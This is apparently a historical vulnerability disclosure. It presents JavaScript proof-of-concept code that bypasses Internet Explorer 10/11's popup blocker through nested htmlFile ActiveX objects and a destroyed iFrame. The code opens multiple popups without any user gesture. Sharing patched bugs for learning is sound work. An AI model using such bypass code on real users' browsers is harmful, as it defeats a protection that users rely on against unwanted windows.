Popup Blocker Bypass via Nested ActiveX htmlFile

Two nested htmlFile ActiveX objects created through a destroyed iFrame are enough to bypass the popup blocker without any user interaction. The key is that the second htmlFile’s parentWindow.open call is not subject to the same popup restrictions as a direct window.open.

var doc1, doc2;

function main() {
    doc1 = new window[0].ActiveXObject("htmlFile");
    doc1.open();
    doc1.close();

    document.getElementsByTagName("iFrame")[0].outerHTML = "iFrame destroyed!"; // Kill the iFrame.
    setTimeout("openWindow()", 100);
}

function openWindow() {
    doc1.open();
    doc1.close();

    doc2 = new doc1.parentWindow.ActiveXObject("htmlFile");
    doc2.parentWindow.open("http://www.bing.com", "a", "width=200, height=200, top=100, left=300");
    doc2.parentWindow.open("http://www.bing.com", "b", "width=200, height=200, top=100, left=540");
    doc2.parentWindow.open("http://www.bing.com", "c", "width=200, height=200, top=100, left=780");
}

window.onload = main;

The first htmlFile is created from inside an empty iFrame, which is then destroyed. A second htmlFile is created from the first one’s parentWindow. Multiple popup windows opened through doc2.parentWindow.open bypass the blocker entirely — three windows open simultaneously with no user gesture required. Tested on IE10 / IE11 build 20130227-2100.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.